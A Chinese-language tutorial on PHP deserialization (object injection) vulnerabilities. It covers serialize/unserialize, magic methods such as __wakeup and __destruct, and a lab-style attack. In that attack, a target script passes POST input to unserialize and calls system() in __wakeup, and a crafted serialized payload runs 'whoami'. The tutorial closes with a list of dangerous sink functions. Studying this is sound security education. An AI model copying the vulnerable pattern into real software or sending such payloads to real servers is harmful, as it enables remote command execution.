PHP反序列化漏洞学习
简单介绍
serialize将一个对象转换成一个字符串
unserialize将一个字符串还原成一个对象
<?php
class People
{
public $name;
public $age;
public function userinfo()
{
echo $this -> name . ' is ' . $this -> age . ' years old <br>';
}
}
$jack = new People();
$jack -> name = 'jack';
$jack -> age = 18;
$jack -> userinfo();
echo serialize($jack);
?>
注意点:
\x00 + 类名 + \x00 + 变量名 反序列化出来的是private变量
\x00 + * + \x00 + 变量名 反序列化出来的是protected变量
来个反序列化:
<?php
class People
{
public $name;
public $age;
public function userinfo()
{
echo $this -> name . ' is ' . $this -> age . ' years old <br>';
}
}
$obj = unserialize($_POST['pop']);
$obj -> userinfo();
?>
来个私有属性的反序列化
一些魔术方法
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
最常见的几个
__construct,构造函数,PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初 始化工作。
__toString,打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo 打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含 的数据。
__destruct,析构函数,PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言, 如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__sleep magic方法在一个对象被序列化的时候调用。
__wakeup magic方法在一个对象被反序列化的时候调用。
<?php
class People{
public $name;
public $age;
public function __construct()
{
echo 'hello <br>';
}
public function __destruct()
{
echo "bye ! <br>";
}
public function __sleep()
{
echo "i am sleeping!<br>";
}
public function __wakeup()
{
echo "i am going to wake up! <br>";
}
public function __toString()
{
echo "ohhh<br>";
return "must have return~<br>";
}
}
$jack = new People();
echo $jack;
$jack = unserialize('O:6:"People":2:{s:4:"name";i:18;s:3:"age";N;}');
PHP反序列化漏洞
PHP反序列化漏洞又叫PHP对象注入漏洞,反序列化的数据本质上来说是没有危害的,但是在 反序列化参数可控时,可能会产生严重的安全威胁。当传给 unserialize() 的参数可控时, 我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
攻击实例:
目标服务器挂在一个这样的php脚本文件
<?php
class flag{
public $cmd;
public function __wakeup()
{
system($this -> cmd);
}
}
unserialize($_POST['pop']);
highlight_file(__FILE__);
可以发现unserialize的参数是可控的,并且在__wakeup函数里面会调用system函数,参数是类中的属性
通过反序列化,我们可以达到控制类的属性的操作
攻击流程就是在本地写一个序列化的文件,拿得到的字符串去打远程
//类都照抄
$flag = new flag();
$flag -> cmd = $_GET['cmd'];
echo serialize($flag);
得到payload=O:4:"flag":1:{s:3:"cmd";s:6:"whoami";}
拿这个payload去打远程,成功控制参数从而命令执行
重点关注的函数:
代码执行:eval() assert()
命令执行:exec() passthru() system() popen()
文件操作:file_put_contents() file_get_contents() unlink()